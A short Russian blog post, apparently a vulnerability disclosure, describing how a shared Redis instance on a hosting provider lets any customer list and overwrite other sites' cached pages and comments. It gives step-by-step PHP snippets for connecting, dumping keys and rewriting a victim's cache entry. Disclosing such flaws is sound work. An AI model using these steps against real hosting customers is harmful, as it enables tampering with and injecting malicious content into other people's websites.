Как стать автором
Обновить

Как взломать сайт за 1 минуту через кеш Redis

1. Регистрируемся на известном хостинге на букву Б.

2. Подключаемся к Редису:

$redis = new Redis(); 
$redis->connect('127.0.0.1', 6379);

3. Достаем данные из Редиса:

$allKeys = $redis->keys('*');

В моём случае массив $allKeys содержит около 300000 записей, в которых хранится кеш страниц, комментариев, меты и пр. чужих сайтов!

4. Выбираем жертву. Пусть, например, 1000-ая запись содержит закешированный комментарий:

$key = $allKeys[1000];
$value = $redis->get($allKeys[1000]);

5. Взяли ключ-значение и теперь изменяем этот кеш! Главное, следить за тем, чтобы длина значения не изменилась:

$redis->set($key, $modifieddata);

6. Переходим на сайт жертвы и убеждаемся во взломе.

Поддержка хостинга говорит, что все ок, так и должно быть и пользователи сами виноваты, потому что используют общесерверный Редис. Но я думаю, что здесь есть большая вина хостинга, который зачем-то предоставляет всем желающим общесерверный Редис. И обычные пользователи просто не в курсе, что включив Редис в Вордпрессе, они тем самым расшаривают свой кеш.

Кто-нибудь по-любому втихаря использует это, внедряя зловредный код на сайты простофиль. И лучше пусть об этой уязвимости узнают как можно больше людей, чтобы как можно быстрее исправить эту уязвимость.
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.